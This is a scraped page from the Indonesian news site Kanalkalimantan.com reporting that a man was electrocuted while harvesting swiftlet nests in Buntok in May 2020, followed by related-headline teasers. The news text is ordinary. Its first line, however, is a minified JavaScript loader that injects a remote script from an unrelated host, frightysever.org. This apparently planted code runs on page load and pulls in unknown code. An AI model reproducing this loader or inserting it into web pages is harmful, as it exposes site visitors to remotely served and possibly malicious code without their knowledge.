(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BUNTOK – Seorang pria bernama M Tromoliansyah (45) ditemukan meninggal akibat sengatan listrik di sebuh rumah burung walet miliknya di Jl Teratai, Gang Seroja I, Kelurahan Hilir Sper, Kecamatan Dusel, Sabtu (9/5/2020) pukul 15.00 WIB. Saat ini, almarhum sudah dibawa ke rumah duka dan rencananya akan dimakamkan besok.
Data yang dihimpun dari anggota Piket Unit Reskrim Polsek Dusun Selatan (Dusel), saat itu mereka mendapatkan informasi dari warga bahwa ada orang tersetrum listrik di sarang walet. Kapolres Barsel AKBP Devy Firmansyah SIK melalui Kapolsek Dusel Ipda Ahmad Wira Wisudawan mengatakan, dari keterangan warga setempat, saat itu Tromoliansyah pergi bersama anaknya bernama Kholifah ke rumah burung walet untuk memanen sarang.
Saat itu, hanya Tromoliansyah yang masuk ke dalam bangunan sarang walet. Sedangkan anaknya menunggu di rumah tetangganya yang tak jauh dari bangunan tersebut. Lama tak muncul, Elpianor sempat bertanya kenapa yang bersangkutan lama sekali keluar dari bangunan tersebut.
Proses evakuasi jenazah Tromoliansyah
Foto: polsek dusel for kanal
“Jadi Elpianor dan anaknya Kholifah sempat curiga dan bertanya-tanya kenapa Almarhum lama sekali tidak keluar dari sarang walet tersebut,” kata Ipda Wira kepada Kanalkalimantan.com, di kantornya Sabtu (9/5/2020).
Masih kata Kapolsek, lantaran penasaran dan curiga ada yang tak beres, dua saksi tersebut lantas mendatangi Tromoliansyah di bangunan tersebut. Elipanor lalu menyuruh anaknya Siti dan Kholifah untuk membuka pintu sarang burung walet tersebut.
Saat pintu bangunan sarang burung walet terbuka, mereka melihat Tromoliansyah sudah dalam keadaan tersungkur. Saksi yang sempat memegang tubuh ayahnya sempat merasakan adanya getaran listrik dari badan korban.
Tak lama kemudian, sejumlah warga yang megetahui kejadian ini lantas datang ke TKP untuk memberikan bantuan dengan mengevakuasi jenazah Tromoliansyah. “Jadi dari keterangan saksi, setelah sempat curiga karena menunggu lama dan saat menyusul ke TKP ternyata Tromoliansyah sudah tersungkur dan saat dirangkul masih ada getaran listrik dari badannya,” beber Wira.
Ditambahkan olehnya berdasarkan dari keterangan keluarga korban dan keterangan saksi-saksi bahwa korban memang meninggal karena tersetrum listrik. Setelah melakukan koordinasi dengan pihak keluarga untuk jenazah sekarang berada di rumah duka. “Saat ini masih menunggu keluarga yang lain sehingga besok baru dimakamkan,” kata Wira.(kanalkalimantan.com/digdo)
KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More
Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More
This website uses cookies.